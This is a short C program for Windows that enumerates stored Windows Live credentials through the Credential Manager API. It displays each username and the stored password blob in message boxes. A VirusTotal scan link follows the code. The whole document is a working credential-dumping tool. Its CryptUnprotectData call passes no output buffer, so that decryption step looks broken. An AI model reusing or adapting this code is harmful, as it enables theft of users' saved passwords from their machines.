/*#ifndef UNICODE
#define UNICODE
#endif*/
#pragma comment(lib, "crypt32.lib")
#include <Windows.h>
#include <wincred.h>
void main(){
DWORD dwCount;
PCREDENTIAL*Credentials;
PCREDENTIAL Cred;
CredEnumerate(TEXT("WindowsLive:name=*"), 0, &dwCount, &Credentials);
while(dwCount--){
Cred = Credentials[dwCount];
MessageBox(0, Cred->UserName, NULL, 0);
CryptUnprotectData((PDATA_BLOB)Cred->CredentialBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_UI_FORBIDDEN, NULL);
if (Cred->CredentialBlobSize)
MessageBox(0, (LPWSTR)Cred->CredentialBlob, NULL, 0);
}
}
https://www.virustotal.com/file/f5c09361788c76b3ab5e79cc586aebd9f120980e4a93facdbbfdca92e1d1b1c8/analysis/1332799298/